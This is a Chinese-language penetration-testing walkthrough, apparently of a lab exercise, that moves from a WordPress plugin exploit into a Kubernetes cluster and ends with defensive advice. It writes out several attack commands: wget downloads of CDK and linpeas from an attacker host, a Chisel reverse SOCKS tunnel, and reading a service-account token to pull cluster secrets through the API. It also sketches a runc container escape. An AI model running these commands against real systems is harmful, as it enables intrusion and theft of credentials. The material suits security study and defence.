容器环境下的信息收集与横向移动初探
字数 1392 2025-11-13 12:30:03
容器环境下的信息收集与横向移动技术分析
1. 初始入侵与容器识别
1.1 WordPress漏洞利用
- 目标识别:通过指纹识别确认目标系统为WordPress
- 漏洞扫描:发现存在漏洞的插件版本,扫描时需携带有效token
- CVE查找:根据插件信息查找对应的CVE漏洞编号
- 工具获取:从GitHub下载相关漏洞利用库
- 利用成功:成功获取初始shell权限
1.2 容器环境识别
识别特征:
- 用户名符合Kubernetes Pod命名格式
- 环境变量中包含Kubernetes相关配置:
KUBERNETES_SERVICE_HOSTKUBERNETES_SERVICE_PORT- 其他Kubernetes特有的环境变量
2. 容器内信息收集与工具使用
2.1 CDK工具部署
# 在攻击机搭建Python HTTP服务
python3 -m http.server 8080
# 在容器内下载CDK工具
wget http://攻击机IP:8080/cdk_linux_amd64
chmod +x cdk_linux_amd64
2.2 信息收集结果分析
通过CDK扫描发现关键信息:
- 发现另外两个容器IP地址:10.43.2.241、10.43.2.242
- 10.43.2.241开放5000端口,运行可疑服务
3. 横向移动技术实现
3.1 服务探测与利用
PHP CGI漏洞利用:
<?php
// PHP脚本探测5000端口服务
$response = file_get_contents('http://10.43.2.241:5000/');
echo $response;
?>
发现关键信息:
- 目标服务为PHP CGI
- 保留Windows功能特性
- 存在可利用的CVE漏洞
3.2 隧道建立与工具传输
# 在攻击机启动隧道服务
./chisel server -p 8080 --reverse
# 在容器内连接隧道
./chisel client 攻击机IP:8080 R:1080:socks
3.3 漏洞利用与权限提升
- 使用PHP CGI相关CVE进行漏洞利用
- 成功获取第二个容器shell权限
- 上传CDK工具进行深度扫描
4. Kubernetes集群渗透
4.1 API Server访问
发现关键端点:
- 存在两个返回401状态的API端点
- 需要有效的token进行认证
4.2 Token获取与利用
# 读取Service Account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 将token存入变量
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# 使用token访问Kubernetes API
curl -k -H "Authorization: Bearer $TOKEN" https://10.43.2.1:443/api/v1/secrets
4.3 Secrets信息提取
获取的敏感数据包括:
- 数据库凭证(root用户和业务用户)
- WordPress管理员密码
- 人工创建的用户级口令(用于SSH、CI/CD等)
Base64解码后的关键信息:
- 数据库root用户凭证
- 数据库业务用户凭证
- WordPress管理员密码
- SSH访问凭证
- 应用配置密码
5. 节点权限提升与容器逃逸
5.1 主机访问
使用获取的凭证成功登录宿主机普通用户账户
5.2 权限分析
# 下载提权枚举工具
wget http://攻击机IP:8080/linpeas.sh
# 权限检查
sudo -l
5.3 runc容器逃逸
利用条件:
- 存在debug功能
- 属于root账户权限
- 使用runc容器运行时
逃逸步骤:
- 创建专用目录
mkdir /tmp/escape
cd /tmp/escape
- 创建恶意配置文件
{
"type": "...",
"path": "shellss"
}
- 创建执行文件
echo "/bin/bash" > shellss
chmod +x shellss
- 利用debug功能执行逃逸
- 需要提供administrative password
- 使用之前收集的密码进行尝试
- 成功获取root权限
6. 技术要点总结
6.1 关键攻击路径
- WordPress插件漏洞 → 初始访问
- 容器内信息收集 → 发现内部服务
- PHP CGI漏洞 → 横向移动
- Kubernetes Token利用 → 集群权限提升
- runc漏洞 → 容器逃逸和root权限获取
6.2 防御建议
- 及时更新WordPress插件
- 限制容器权限和能力
- 加强Service Account权限控制
- 定期更新容器运行时
- 实施网络策略限制横向移动
6.3 工具使用总结
- CDK:容器环境信息收集和漏洞利用
- Chisel:隧道建立和代理转发
- LinPEAS:Linux权限提升枚举
- 自定义脚本:特定环境下的漏洞利用
此攻击链展示了从Web应用漏洞到完全控制Kubernetes集群的完整过程,强调了容器环境下安全防护的多层性和复杂性。